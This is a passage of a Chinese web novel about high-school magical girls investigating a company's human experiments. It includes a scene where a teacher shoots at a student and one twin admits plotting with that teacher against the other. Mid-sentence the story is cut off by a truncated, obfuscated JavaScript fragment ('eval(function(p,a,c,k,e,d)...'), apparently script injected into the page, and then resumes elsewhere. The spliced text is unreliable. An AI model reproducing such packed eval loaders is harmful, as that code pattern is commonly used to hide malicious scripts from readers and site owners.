“是的,我们知道。”森山寺未央明白启明星也清楚。 “那么在这个基础上,让我公开我的调查结果吧。”启明星的语气轻松了起来,像是正在拆开零食的包装袋。 “Evo西部市区总部内部存在一支直属于CEO的特别行动部门,前缀职能称呼是‘天使’,与这家公司的业务相比真是奇妙的称呼选择呢。”启明星抑扬顿挫地说,“联系前置信息,那些人体实验的目的似乎就是为了得到异于常人的怪物的助力。但就我可靠朋友的言论,那些工作人员至少从外表来看是与人类相似的,但表象之下的真实就不得而知了。” “天使?”森山寺未央念叨着这个让她感到有些尴尬的称号,“如果是能用特殊能力,又与人类有相似的外表,那不就和我们差不多嘛!” 而这样的存在在城市中,甚至为正在实行人体实验的公司效力,这一结论令森山寺未央感到毛骨悚然。 “没错,但那些野兽仅是作为副产物的一次性道具,天使们更加珍贵,并且有完整的管理系统和方式。”启明星肯定地说,“所以请多加防范吧,那些天使的实力并非武装人员小队能比拟的。” “好的!”森山寺未央认真地回复道。 “后续调查相关,如果你们在询问那位西西路女士之后还想要一些答案的话,请去附带的那个地址调查一番吧,那是她在进入日之森之前的个人居所。”启明星的声音放松了一些。 “好,不过您就这样确认西西路老师什么都不会说吗?您见过她?”森山寺未央感到疑惑。 “有一面之缘,但她一副被短暂放出笼子的样子真是令人印象深刻,现在再开始看向她已经来不及啦。”启明星笑着说。 “西西路老师她,”森山寺未央感到有些郁闷,“在遇到我们之前发生的事情已经没法去改变了,但我果然还是希望能和她聊聊。” 就森山寺未央对那位助教老师的观察而言,那并不是一个品行多坏的人。 “并非无法理解,祝您好运。”启明星说。 “启侦探对于幕后黑手对我们的试探,以及试探之后的做法有什么头绪吗?”森山寺未央又问道。 “在我看来,那位毫无疑问对你们有着极强的针对性,不如说有些太强了,有时我都觉得我的调查实际上是在沿着铺好的路在走。不过我也有我的方针,身为侦探不能去怀疑自己调查出来的真相。”启明星难得语气有些失落。 “那些人了解我们,又不知道我们,这很奇怪,像是先一步认识了橘子果肉却分不清橘子和橙子的区别。”森山寺未央说。 “绝妙的比喻,但我偶尔会有一种直觉,无论是幕后黑手,天使,亦或者你我,在冥冥之中都在遵循一些被既定好的规则,若是想找出真相,那么这些规则便是必经之路。”启明星的语气又轻快了起来。 “规则是指,”森山寺未央有了一些猜想,“关于那些怪物?” “一切,一切的一切,那一定是某些游离于常理之外的规则,有着自己的一套运行规律,它偶尔展现出的一角’1+1=3‘就足以令逻辑崩溃,留下无穷后患,吸引无数贪婪者,但却又无法真的干涉人类社会,真是迷人啊!”启明星的语气中爆发了极大的热枕,那不经意间露出神秘的一角对她来说有着致命的吸引力。 森山寺未央不知道该说些什么,她非常好奇启明星到底是什么样的一个人。 “抱歉,失礼了。”启明星回过神来,“总之请多加注意个人安全问题。在这方面我也算是自身难保了,难以给各位提供帮助和建议。” “到底是为什么,”森山寺未央疑惑极了,“那些人到底是怎么知道试探的结果是否是正确的呢?” “阅读委托沟通邮件时,我偶尔会觉得雇主实际上在安排我的调查方向,这是很诡异的,调查方向如树枝分叉,只有细小的一支是通往真相的,而我的雇主则好像提前知道了哪些枝桠通向错误的路,提前告知了我不要走那里。”启明星说到这里语气冰冷,“所以在这个问题上我难以给出答案,我没有知道这个的权限。” 森山寺未央想了想,如果自己做事的时候一直被人指手画脚,即使是指正,那也确实有够烦人的。 “谢谢啦,启明星侦探,下次请一定让我亲自接待您!”森山寺未央没有放弃亲眼见识一下这位现代大侦探。 “那我可就充满期待地等候那个机会了!”启明星笑着说。 电话挂断后,森山寺未央将手机屏幕切回聊天群,破碎的画面将内容分成几块,她想了想,将方才的聊天内容发送到群里。 “总而言之,我们周一的行动要小心,如果没有从西西路老师那里得到结果的话就去这个地址看看。”犬山晓总结说。 “侦探小姐说的话很有深意呢,不过我还是觉得如果我们能当面聊一下的话沟通会更加清晰有效一些。”有乐羽生若有所思。 “其实总体来说,我们最主要的目的就是保证现在和以后的人身安全,为此我们才需要找到幕后黑手,才需要事先了解对方想做的事情来做好准备。虽然说敌人在暗我们在明,但我们还是有足够的方法应对的。”森山寺未央自信地说。 “没错,这件事情并不算难,重在因时间而堆积的复杂性。快速解决可能并不实际,但事情总会有解决的那一天的!”艾克里普说。 “真希望这件事能尽快结束,快要期中考了,而且我们如果再闹出什么事情可能会被老师约谈。”犬山晓非常担心这件事。 “好!主动出击吧!为了在期中考取得好成绩!”有乐羽生振奋地说。 “我倒是希望是为了更宏伟的目标啦。”森山寺未央说。 “那就为了我们自己吧!”艾克里普说。 “好!为了我们的乐队一起加油吧!”犬山晓说。 森山寺未央笑着放下了手机,却又因为自己方才的猜想而垂下了嘴角。 没关系的,她心想,这件事已经过去很久了,错误都被她亲手修复了。即使有人想要将其挖掘出来并加以利用,她绝对会想办法阻止。 这件事并不是其它,正是森山寺未央成为魔法少女的原因,她是因为自己的姐姐而选择成为的魔法少女,有这个原因在,她无论如何都不会后悔或者让魔法失效的。 26. ·—— 2024年4月22日,星期一,天气阴转小雨。 城市南部居民区附近有市民目睹枪击案件,附属警察局表示高度重视,并提高巡逻频率。市长回应:“在城市治安紧张背景下,我们需要更灵活、效率高的民间力量。”近8个月内,西市区市警察局中层岗位出现12次人事调整。 市长在晨间会议表示将对之前关于日之森校内学生坠亡案受害者的私人报导负责,并将持续关注该事件的后续发展。日之森校董会联系市警察局关注案件细节。 天气转暖,城市旅游局呼吁市民拥抱大自然。 城市规划与市区发展办公室发表新闻,将在近期开发新的居民区建筑计划。 这个双休日对于一些人来说尤其漫长,但对于一些人来说又尤其短暂。 “这个给你。”森山寺未雅递给坐在一旁玩手机的妹妹一张被塑封起来的纸。 森山寺未央接过,发现是一张曲谱。 “你已经写好了吗这么快?怎么封起来啦,之后说不定还要改的呢。”森山寺未央兴奋地坐起来开始读谱,森山寺未雅并没有回应她的一长串问题。 但读着读着她很快就发现,这个曲谱对她来说并不算陌生,但太过于简单了,而且仅仅是五线谱而已,根本不适合乐队演出。她愣了愣,随即转头看向森山寺未雅,表情不满。 “这个谱子是你小时候写的那个吧?怎么现在拿出来糊弄我?”森山寺未央展开曲谱指指点点,“我可是记得的,一模一样诶你甚至没有加点什么进去。” “反正当时也没有用上,现在拿来用不正好?”森山寺未雅表情毫无波动。 “我说啊,至少给我考虑一下我们乐队的乐器吧。”森山寺未央不满地说,却发现自己的姐姐全然没有将这件事看在眼里一般,根本就没有在看着她。 “这样吗?”她一副真是麻烦的表情收回了曲谱,看也没看就放在了一旁。森山寺未央欲言又止,但最后还是没说什么。 她会改的,以前不就是这样吗?森山寺未央这样想着。 哪怕是潜意识里对对方性格上的转变十分包容的森山寺未央也察觉到了自己姐姐这段时间来越发地表现对周围的一切都不感兴趣,只对于“好好过完一天”保持着最基础的热情,包括每天起床洗漱上学,吃饭上课,回家睡觉之类“每天必做”。 除去这些之外的一切她都不愿意花时间,甚至有些不愿意去想自己想要什么,只是一味地重复过去的选择,对食物也没有了偏好,而且条件反射一样地讨厌人多的地方。 难道是我太过忽略她了吗?森山寺未央不禁这样想。但她不理解忽视为何会让对方变成这样,她认为自己本身也有一大堆事情要做,自己姐姐这样的漠视很大程度上帮了她的忙。但她这样一副对什么都不感兴趣的状态显然是不好,或者说不应该的。 森山寺未央决定后面找机会两个人单独聊聊,在学校与魔法少女的事情忙完了之后。 所谓学校里的事情以目前来看指的是关于西西路老师的事情,几人在讨论之后决定在周一中午午休时间堵住对方要个说法,现在虽然大多数证据都指向了对方,但大家都想听听看对方有什么想说的再将她抓起来使用魔法送到警察局。 几人在周日下午于聊天群中商定了第二天的计划 “到时候我去堵人!”森山寺未央自发请愿,“我们是她的学生,如果后续有监控记录查到我去找她也合理一些。” “她手里可能有枪。”犬山晓提醒说,“教学楼内死角很多,记得利用这一点。” “不过她确实只是个普通人,在这一点上倒是不用担心。”有乐羽生说。 “所以我打算趁午休之前的时间堵她,教师办公室那边监控很多她应该不会有什么大动作,而且最近学校里保安很多。”森山寺未央点头,“我试试看问她些问题,虽然侦探认为她不可能回答我们。” 即使语言不回答,森山寺未央觉得也能从对方的态度上看出些什么。 “启明星侦探也说她不会跑掉,难道说她很自信自己不会被发现吗?还是说她觉得这件事会有谁帮她处理?”有乐羽生疑惑。 “也可能是有恃无恐吧,恐怖分子那种感觉,所以才说她很危险。”犬山晓说。 “到时候我们三人就在不远处看着,如果出现问题未央就赶紧跑!”艾克里普担心地说,“有什么事直接说哦,我会以最快的速度赶过去的。” 再一次迎来周一。 “两周后我们即将迎来期中考,作为高中的第一次正式考试,我希望大家全力以赴,但也不要为此感到非常有压力,有困难一定及时和老师沟通。”晨会上古河梦久老师一如既往地不苟言笑,但在看到来上课的有乐羽生时朝她点了点头。 有乐羽生想到之前自己做的事有些不好意思,也回应着点了头。 这个消息引起了学生的一些反馈,有人欢喜有人忧,日之森的考试都并不算难到令人头疼的,但也比寻常学校的考试难以招架,重点原因在于每年卷子都是新出的题。 【总感觉就这样为了学习而头疼的感觉也不错,有种恍然隔世的感觉呢。】有乐羽生叹了口气,【后面得好好学习一段时间了,期中考还是比较难的。】 【是啊,得找时间看一下书,期中考可是很重要的。成绩不好家长和本人都会被约谈的,不过这样的烦恼和我们正在处理的事相比也算是小事了,是这样吧。】犬山晓深以为然。 【都差不多吧?】艾克里普想了想说,【不过这样为了知识而苦恼的时光也值得珍惜哦,大家现在学的都是基础性的重要知识呢。】 【好!为了守护这样的日子!】森山寺未央有些亢奋。 【没错没错!】艾克里普笑着复议。 第一节课就是数学课,森山寺未央在课上看到了西西路老师一如既往地在周一表现地无精打采,不知是真心如此还是刻意表现地与往常无异,倒是古河梦久对此表现非常不满,点了她很多次。 “你觉得西西路老师她人怎么样?”森山寺未央在下课后询问自己的姐姐,虽然她认为,自己姐姐最近不会对任何人感兴趣,哪怕这个人是老师。 “她?”森山寺未雅顿了顿,回答道,“烂人。” “…这评价也太低太极端了吧?”森山寺未央大惊,还以为对方也知道了些什么,试探着问,“为什么这么说?” “她不把学生当学生看,而是工具。”森山寺未雅回答的很迅速平静。 “这倒是事实,她看上去就是来凑资历的,不过就因为这个就要这样评价她吗?”森山寺未央不太理解其中的思考过程,“只是因为这个?” “随便你怎么想。”森山寺未雅并没有继续解释的意思了,她看了看森山寺未央,“你什么时候去找她?” “…中午吧。”森山寺未央感到有些奇怪,但一直以来她都知道,自己的姐姐非常了解自己,那或许对方察觉到了自己有这方面意思也不一定。 “加油。”森山寺未雅说着,笑了笑。 “哦,哦!”森山寺未央感到被激励了。 第四节课下课后,大多数学生结伴前往食堂,森山寺未央和森山寺未雅一同离开教室。 “我有事要去找一下西西路老师,未雅,能麻烦你去食堂那边找一下羽生她们说一下这件事吗?让她们过来找我一下。”森山寺未央准备行动了,在这之前她想确保森山寺未雅能待在尽可能远的地方不受到波及,于是提前让其它三人在食堂门口等候。 “好哦,一路顺风。”森山寺未雅微笑着招了招手,一如既往地什么都没有问,随后转身离开。 森山寺未央看着森山寺未雅离开的背影,随后转身前往教学楼一楼的教室西区。 从教学楼正门口进入后往左走,走廊左右两边是各班主要教室,再继续往里走会看到一片空旷的自学区域。区域左侧便是螺旋楼梯口,右侧通往办公室,右侧的尽头也有一个出口,往外走是一条通往食堂的小路。教师的办公室都在每一层的东区和西区,为单独的隔间。 大多数学生都往食堂走去,同时大家因为各种心理原因不愿意靠近教学楼西侧,森山寺未央往一楼西侧走时发现这里逐渐没人了。 西侧办公室区,写着西西路的名牌所代表的隔间灯牌还亮着,表示里面有人。森山寺未央没有犹豫多久,在观察过附近的环境之后就准备好了。 礼貌的三声敲门声后,办公室内传出了声音让敲门者入内。 “森山寺同学,是你啊。”西西路表现的不是很惊讶,她似乎本来在打字写些什么,森山寺未央发现她迅速地将笔记本电脑关机了。 西西路的办公室内东西并不多,仅在柜子里和桌面上存放了一些物品,没有额外的装饰或者收纳,不向外来者展示其所有者的性格,或者这就是她的性格。 “西西路老师,我有事想请教一下。”森山寺未央想得知的只有“西西路老师本人对于她所做的事情有什么看法”这一点,所以没打算拖延时间,算下时间一会就可以趁午休时间把对方抓了送警察局了。 “古河老师没能解答你的问题吗?”西西路的表情变得有些微妙,夹杂着质疑和自满,毕竟古河梦久明确说明了有问题直接去找她。森山寺未央没有领会到她的得意。 “是关于西西路老师的事啦,”森山寺未央紧盯对方的一举一动,“您能解释一下为什么要杀害天生目白吗?” 并不宽敞的办公室一时安静地需要靠紧闭的窗户外的白噪声喘气,西西路愣了一下,随即抬头看向来者,森山寺未央还在等待她的回答,但她并没有意料到这一点。 为什么?森山寺未央没有错过这份停顿,她以为对方仅仅是因为没有将自己看作需要警惕的对象,也就是说没有预料到自己的学生会知道这件事。 “诶,我真的应付不来这个啊。”西西路忽然深深叹了口气,她真心实意地愁眉苦脸了起来。 这回复没有令森山寺未央不满,而是让她警惕起来了。 “你没有想过我会来问你这个吗?”森山寺未央试探问道。 “说真的,那边效率这么低下是应该的吗?还是说真的有在针对我?”西西路自言自语着,依旧没有正面回答问题。 那边?森山寺未央警惕了起来,为什么她认为事情会被“那边”解决? “对我的问题回答些什么吧?趁你还有机会,”森山寺未央决定严格一点。 而西西路则是对此视若无睹,似乎完全不在意森山寺未央即将对她做什么。 “…你,其实并没有在自发地做这些事是吗?那边指使你做这件事,承诺将后续的一切都处理好,你才能这样当作什么都没发生过的样子。”森山寺未央眯着眼试探说。 这个猜测大概是正中靶心了,西西路听后轻松地笑着看向森山寺未央,正面回答她。 “我又不是什么反社会人格患者,不过同样的,我的答案没那么重要,”她不屑地笑着说,“你,或者说你们,无非是想要一个答案。” 森山寺未央看着她,没有说话,默认了。 “其实我是被逼的啦,被逼着跟着那两个人上了天台,被逼着埋伏起来,被逼着设计有乐羽生同学看着自己的朋友掉下去,这样怎么样?”西西路歪着头笑着说,她甚至还有余力激怒。 “这就是你想说的?”森山寺未央确实有些愤怒,但更多的是失望。 “看吧,不会有更好的啦。”西西路笑了,得意而不屑地。 所以说问她果然不会有用的吗? 森山寺未央压抑下心里的怒火,但也察觉到了一丝不对劲。既然如此,那眼前这人果然是被派来试探什么的棋子,但教师入学早在学生入学之前,难道说幕后黑手那边一开始仅仅将从初中部直升的有乐羽生作为观察对象吗?那为何眼前的人见到自己也是一副见怪不怪的样子。 试探的“达成条件”到底是什么?森山寺未央忽然想起来对方应该是有能够探查到魔力痕迹的条件的,那么魔力痕迹的出现会是对方想要找到的东西吗? 森山寺未央判断道,答案是:是的。联系启明星说的一些信息,森山寺未央愈发觉得对方实际上对于魔法少女几乎是知根知底的状态。 而对方对于目标的态度非常明确:捕捉甚至杀死,如果对方发现犬山晓也是同样的存在那大概率也将采取同样的措施。在这种情况下,已方只能凭借一些仅有的信息顺藤摸瓜,这便是她们一直没有什么大进展的原因,她们毫无疑问处于信息战中的劣势,好在只需要确认对方的正体,随即消灭并不是难事。 森山寺未央忽然察觉到了一个问题:眼前的人真的对于自己在做的事情知根知底吗?她与那把枪有什么区别?既然如此那她此时作态大概是在掩饰什么,亦或者发自真心地什么也不知道也愿意效忠于真正的幕后黑手。 想到这里,森山寺未央不禁觉得有些好笑。 “你笑什么?”西西路问。 “西西路老师,你也什么也不知道,”森山寺未央叹了口气,“我没法从一把枪的嘴里问出答案的。” 这下西西路反而被激怒了,她眉头深深皱起,本随重力无精打采地低下的脑袋被刻意扬了起来,瞳孔紧盯眼前明明是学生却对自己表达同情的人,并且对这种感觉感到无比不适。 “轮得到你说?你又知道我些什么?”她扯出与之前截然不同的一抹笑,语气里暗藏深意的嘲讽刺向对方,想让她收起那副同情姿态。 这话说的不客气,完全没将森山寺未央看作是“小辈”或者“学生”。不过一开始她对于大部分学生都是这幅态度,在古河梦久反复提点之后才有所收敛。 “在这一点上我们半斤八两吧,但是我有同伴,我们互相信任,而你呢?”森山寺未央继续激怒对方,“‘那边’有考虑过你吗?” 室内再次安静了下来,但与之前不同的是,此时两人都怒意高涨。 “啊,对啊,我确实只是伟大者丢下的一块石头,不够有重量,也不够耀眼。”西西路轻声说,她眼睛死死盯着森山寺未央,嘴里说着这样自我贬低的话,神态却是无比自傲的,就好像她嘴里的伟大者那轻轻的一丢便给了她的生命无尽的价值,令她即使在尘埃里翻滚时也不忘记表达感谢。 森山寺未央对此笑出了声,只是哼笑。 “但在我粉身碎骨之前,我还能证明自己的价值。”西西路这样说着,脸上却收起了之前那副表情,“我的价值会由我自己彰显。” 在课堂里的西西路算个不是特别称职的帮手,在课后她是因为性格还算受欢迎的年轻教师,在解答问题时她也会表现出认真的一面,能看出她也曾经作为学者努力过。 但是现在,西西路表现地平静而疯狂,森山寺未央一时竟也找不出什么形容词,只是本能地觉得此时对方变得十分危险。 “古河老师也这样说过。”森山寺未央想起课上古河梦久也曾不知疲倦地教导西西路对学生的态度,就像解答学生的疑惑一样。 而提到这个名字时,西西路短暂地从疯狂中抽离了出来愣了愣,“啊,她啊。”她似乎是想到了什么一时失了神,但很快又回过神来。 “本来打算就这样顺其自然,但果然还是得自己做些什么挣扎一下吧。”她平静地说,微笑着站了起来,抬头看了一眼角落的监控摄像头,手上多出了一把黑色手枪。 在看到对方站起来的一瞬间,森山寺未央迅速地警觉了起来,迅速后退到门口的位置,时刻准备离开。 “你可不要因为我的挣扎丢掉性命了哦?”西西路笑着说道,抬起手就开了一枪,几乎没有瞄准的间隙,小型爆炸的声音在办公室显得额外显眼。 森山寺未央迅速躲闪,但依然被划开了肩膀,她察觉到这似乎并非普通子弹与手枪,因为没有听到子弹壳掉下来的声音,她忍住痛迅速打开门离开了办公室。 这人疯了吗?在学校里不装消音器就开枪?森山寺未央不禁有些惊慌但不至于失去分寸,担心枪声引来无关群众,西西路现在明显开枪不会避开普通人,她似乎放弃了伪装自己。 西西路紧跟着森山寺未央离开了办公室进入教学楼西侧的空旷区域,看着森山寺未央躲避在学习区桌椅之间,她的脚步并不快,眼睛倒是紧紧地盯着对方。 “跑吧,跑吧,”西西路笑嘻嘻地说着,看不出正在校园内手持枪械,更像是在逛街,“果然只要看住你们的话就只是普通人水准,我会尽全力杀死你的。” 这句话可以透露出西西路对于魔法少女算不上完全了解,毕竟魔法少女本身身体素质就比普通人好许多。森山寺未央想着,心里有了主意。 不可以往人多的方向走,不可以离开室内,要尽快离开那家伙的视线范围,她很清楚我的弱点。森山寺未央脑内飞快地分析着可行的方法,一边紧盯着西西路的动作,一边双腿用力一个快速的后空翻跳跃四肢着地,落在座椅之内匍匐着隐藏了起来。 其它人呢?森山寺未央不禁有些纳闷,按理来说森山寺未雅过去一趟,其它人再过来顶多只需要不到十分钟的时间,现在距离她和森山寺未雅分开早已有了十分钟,可她甚至没有收到魔法传音。 尽管心里有些不安,但森山寺未央决定想办法让西西路被控制住后再出发寻找其它人。 对方手里有枪,但体能表现来说就只是普通人,如果能把她打晕或者关起来的话就可以放心离开了,森山寺未央心里飞快有了计划。 趁着西西路靠近学习区域中自己躲藏的区域,森山寺未央快速地从一处窜到另一处,西西路迅速开枪,好在瞄准能力真的很一般,森山寺未央多次翻滚借着掩护没有被击中,她沿途撞击桌椅造成各种声响,绕了一圈避开西西路再次回到她办公室门口附近的区域。 “我的办公室可没有窗户让你钻出去。”西西路紧盯自己办公室门口的影子,她确信森山寺未央就在那里,只是因为西西路本身和办公室门的距离中有桌椅遮挡,她看不见门框下半部位区域的内容,她一步步靠近,清楚自己的体能不占优势。 就在此时,匍匐在地的森山寺未央举起手拉动门扳手,门被打开了。 我的办公室窗不可能让人钻出去,可是她并不是普通人,西西路对自己的判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“别在这等着了,走吧。”森山寺未央招招手意示几人跟上。 “未央?你怎么过来了?”有乐羽生感到非常疑惑,但又说不上来哪里奇怪。 “有什么好奇怪的?快走吧一边走一边说。”森山寺未央催促道,但除了有乐羽生,其它二人都没有动作。 “你是未雅,对吧?”犬山晓笃定地说。 眼前的人在被叫破名字的那一瞬间产生了微妙的变化,明明表情没有变,动作也丝毫未动,但就是有哪里不一样。 “真是奇怪,一直以来都没有被谁发现过,你是怎么被发现的?”森山寺未雅笑了,好奇地问。 其实是因为身上没有魔力气息,但这可不能说,犬山晓心想。 而有乐羽生也迅速地反应了过来,她没有表现出来,但森山寺未雅还是看了过去。 “其实是在诈你啦,未央她也和我们这么玩过,我们都有经验了。”有乐羽生一副见怪不怪的表情摆了摆手。 “未央?她居然会学我的样子吗?”森山寺未雅表情产生了些许的变化。 实际上并没有这件事,森山寺未央甚少单独提及自己的姐姐,每次提起都是在谈二人共同的过往。 “不过不得不说真的很像,我都被吓到了。”艾克里普惊讶地说,“双生子实际上差别都挺大的,但未央和未雅不仅仅是长相相似,各方面都特别像呢。” “是啊,我也觉得特别分不清!”有乐羽生感叹道。 这句话让森山寺未雅的神情变得微妙地喜悦了一些,就好像她觉得这个把戏很成功令她感到高兴,但这喜悦很快就消失不见了。 “好吧,其实是未央她让我来找你们的,说让你们去校门口一趟。”森山寺未雅耸了耸肩。 “校门口吗?”犬山晓感到有些奇怪。 “对,她说她有事找西西路老师,让我来找你们,她一会过去。”森山寺未雅解释说。 【是校门口吗?】有乐羽生疑惑地问。 【我们约好了是去办公室附近才对。】犬山晓回忆说。 【可未雅她没有理由说谎,难道说是临时起意?未央确实喜欢这样。】艾克里普奇怪地问,【而且我看得出未雅内心很平静,并没有在紧张。】 森山寺未雅没有继续说话,看着几人,安静地等待几人动身。 【有可能,而且如果出现意外情况的话未央会传音告诉我们才对。】有乐羽生说。 “那就快走吧,未雅要吃过午饭了吗?”犬山晓说。 “不用了,我等未央一起。”森山寺未雅摇摇头。 三人没有再犹豫,跟着森山寺未雅走向校门口。 有学生会选择午餐时间回家或者外出进食,校门口陆续有人进出,并在保安处填写信息。四人一路走到校门口,在校门口主干道北部靠近停车场角落的树下开始等待。 “说起来未央说未雅会帮忙作曲,未雅现在有什么想法了吗?”有乐羽生好奇地问。 “这个确实有些想法,可未央说要改。”森山寺未雅看向了别处。 “辛苦啦,不过谱曲是很个人的,与其往我们期望的方向改,不如按照未雅的心意来。”艾克里普笑着鼓励说。 森山寺未雅没有接话,只是沉默着,似乎在思考些什么。 “说起来你们每个双休日都回去看父母吗?”犬山晓好奇地问。 “是的,坐电车不算远,而且衣服什么的也不需要带,双休日回家吃饭的话大家都会安心些。”森山寺未雅说。 “这样呀,这样的家会让人感到轻松呢。”有乐羽生有些羡慕这样的家庭氛围。 “可不是嘛。”森山寺未雅说。 几人又聊了会,过了近二十分钟,终于是看见远处的森山寺未央跑来的身影。 “是未央!”艾克里普迅速地察觉了对方,但很快她发现对方身上的气息不算稳,身上好像还受了伤。 “未央是不是受伤了?”有乐羽生也发现了,不免有些担心。 而犬山晓这时注意到森山寺未雅一瞬间阴沉下来的脸色,并感觉有点奇怪。 森山寺未央不顾校内其它人“不要快速跑动”的劝说冲向四人,自从看见森山寺未雅和其余三人在校门口有说有笑时她就马上明白了过来发生了什么,那就是森山寺未雅向其余三人传达了假消息,故意将她们带去了更远的地方。 可是为什么?她为什么要这么做?森山寺未央联想西西路看见自己时平静的脸色和语句,不免想到了很多,但比起委屈先冲上心头的是愤怒。 于是在她跑到几人附近后,什么都没有说,只是狠狠地给了森山寺未雅的下巴一拳,力道对于普通人来说是重的,可她确实有意收了几分力。 “你——”森山寺未央控诉的话还未来到嘴边,森山寺未雅的反击却先一步来了,也是下巴直勾拳,她被打得仰头往后退一步,不可置信地看向对方,却发现对方表情也是一副不理解。 看到这幅表情森山寺未央怒从心中起,随即将自己姐姐一巴掌推到地上开始打,而森山寺未雅在挨了几下后也开始反击,两人招数近乎一模一样,你来我往看着倒是激烈。 “未央?未雅?怎么打起来了?咦?”艾克里普完全不理解现状,甚至不知道该不该把两人拉开。 “教学楼一楼西侧办公室,我把门守好了。”森山寺未央回过头来交代了一句,马上被森山寺未雅一拳打在下颚骨上。 “我过去。”犬山晓眼看围观的人越来越多,马上就动身离开了现场,艾克里普左看右看,也迅速跟上了。 “你们走了?那我呢?”有乐羽生迷茫地待在原地,她也想走,但却明白自己不能放任这二人就在这里一直待在原地,此时已经有人在议论 ,说不定一会就去叫安保了。 “怎么有人光天化日之下打架?好激烈啊。” 森山寺未雅抬腿踢森山寺未央的肚子。 “打架的两个人长得好像啊是我的错觉吗?” 森山寺未央一个翻滚,但被森山寺未雅绊住脚摔了。 “我的天呐,那不是高中部一年级那对双胞胎吗?” 森山寺未雅乘胜追击,但被森山寺未央一个扫腿绊倒。 “哇塞这都能打起来?” 而打架的二人此时却完全听不见这些,森山寺未央一开始的怒气和委屈过去之后就只是单纯胜负欲作祟了,而森山寺未雅看上去已经有些疲态,但每次被打就必定还手,二人光是打架不说话,完全看不出谁是谁。 “哎呀,未央,未雅。”有乐羽生满头大汗地看着打架的二人和围观群众,“先停一下,先停一下。” 但二人完全听不进去,有乐羽生心一横,冲上去拽着森山寺未央或者森山寺未雅的胳膊一个劲地往后拽,还真让她给拽开了,另一人躺倒在地上支起身子,面无表情地擦去鼻血。 “你那副表情什么意思?”本来被有乐羽生拉起来的那个见状又折腾了起来。 “一会保安来了就可能要通知家长了,”有乐羽生赶紧说,“咱们先去别的地方好吗?去停车场,停车场人少。”她真的不想因为这种事情被叫家长。 提到这一点,两人就都不再蠢蠢欲动了,有乐羽生见状也放开了手里的人,她一能自由行动就大步朝刚刚站起来的人走去,有乐羽生一紧张又想去拉,却发现她只是拽着另一人的胳膊离开了,被拽着的那个也没有反抗。 我应该跟上去吗?有乐羽生迷茫地想,她四处看了看,决定先把围观群众散开。 27.··—- “喂,你和西西路老师串通好的,对吧?”停车场的角落里,森山寺未央压抑着愤怒质问自己的姐姐。 直到现在只剩下二人,森山寺未央心里的那份悲伤才逐渐开始弥漫。 “看来她也真是没用,嘴里倒是说的笃定。”森山寺未雅也没打算隐瞒自己想支走别人害死自己妹妹的做法,但说着这种话的她却没什么感情表现。 这不正常,森山寺未央非常确信,她的姐姐无论如何都不会做出这种事情来的。甚至说做出了这种事情还一副无所谓的样子。 而这幅无所谓的态度更进一步激怒了森山寺未央,她揪住森山寺未雅已经破了的领口,对着那副能给她当镜子照却陌生得可怕的姐姐低声怒斥。 “为什么?”她重重地,一字一句地问,她是如此迫切地需要一个答案去接住她渐渐碎裂开来的心。 森山寺未央的眼球几乎贴到了森山寺未雅的脸部皮肤上,阵阵热意传来,带着汹涌的情绪。 “为什么和西西路老师串通好?为什么这样一副态度?”森山寺未雅表情没有变化。 为什么你能这样无所谓?森山寺未央已经无法理解眼前的人了,都说双胞胎心连心,她却觉得眼前的人没有任何一处是与她相连的,这种无中生有的突兀障碍就像是魔法一般。 明明以前不是这样的,森山寺未央心想,以前若是她有什么情绪反应,自己都不用开口,森山寺未雅就会先一步表现出来。 “为什么?”她再次重复。 “因为你很烦。”森山寺未雅说,她因领口感到不舒适,扭了扭却发现自己妹妹几乎把那块布料揉进了手心里,干脆就移开了眼睛。 “什么?”森山寺未央不理解她听到了什么,也不理解对方的感情。 从很久以前森山寺未央就发现自己没办法理解别人的感情,唯一几次共情也是因为发生过相似的事情而感到感同身受,但以前这些并不是什么大问题。 不,不对,这个问题出现过一段时间的,森山寺未央想起了一部分过去。 “因为你让我改曲谱,我又不想改你非得让我改,答应了的话就要做到。西西路老师来找我,我觉得这是一个让你消失的机会,就同意了。”森山寺未雅表现地非常不耐烦,她对于解释这件事感到无趣,但还是解释了。 她此时心里在想的事情是如何在老师和父母那里敷衍过去这件事。 “就因为,这个?”森山寺未央的声音非常地轻,她感到自己身体内的某一部分碎开了,连带着她站立在原地的力气一起一点一点离去。 比起不解,愤怒,委屈,逐渐涌上森山寺未央喉咙的那份紧缩名叫恐惧,她迅速地放开了手里破烂了的布料,像是在看一个陌生的怪物一样看着眼前的姐姐。 不会有人因为“不想谱曲”这件事而选择“杀人”,至少正常人都不会这样想。不仅仅是因为道德上的问题,还有难易度的原因。 所以她才找了个帮手啊,森山寺未央忽然想到了这件事。 不,她不是我的姐姐,森山寺未央内心尚还完好的那部分这样大声地吼着,她难以行动的那部分站在原地,看着森山寺未雅整理衣服,头发,不耐烦地看向被损坏的刺绣,她说过那个刺绣很金贵,洗的时候需要刻意拆下那块布。 这一点回忆忽然就给了森山寺未央质问的勇气。 “你凭什么这么做?你还知道我是你妹妹吗?就因为这个你就这样对我?”森山寺未央嘶哑的嗓子硬扯出这样几句话,“你,你是不是哪里有问题?” “这样对你?怎么对你?”森山寺未雅的表情在诉说她感到莫名其妙。 “对我还不如像是对陌生人,你有想过我死了怎么办吗?就因为这个莫名其妙的原因,你。”森山寺未央努力拼凑声音,“你就想,杀了我?” “这些啊,”森山寺未雅一副觉得麻烦的表情,“不是你先开始的吗?” “我?”轮到森山寺未央感到莫名其妙了。 “对啊,开学之前就有点了,开学之后更是。”森山寺未雅开始掰手指数数,“你和那几个人悄悄说话当我不知道?放学后去做什么也不和我说,偶尔出门去哪也不告诉我,问你也不说。老是用一种奇怪的眼神看着我,也不像以前那样和我相处了,你还记得我们以前并不是这样的吧?” “先把我当陌生人一样对待的,不就是你吗?”森山寺未雅摇了摇手,说出的是埋怨的话,但语气却是无所谓的。 无所谓,不在乎,结果如何都不在乎。 “我,我不是。”森山寺未央觉得如坠冰窟,她意识到了有事情超出了她的控制,她一直以来都认为自己做的很好,一切都还可以保持原样就是最好的,但现在看来是不行的。 要怎么说?森山寺未央感到口干舌燥,这难道是她的错吗?她做错了什么呢?她是发自真心地想着,想要让一切都变回原样,让家人幸福,这样的想法难道是错的吗? 还是说是过程错了,她做错事了吗?森山寺未央焦躁不安,她一瞬间回到了森山寺未雅出院前的日子里,她一直都是一个人,不过现在来看,或许从那时开始她也依旧是独自一人。 意识到这一点,她感到大脑深处在疼痛般地发痒。 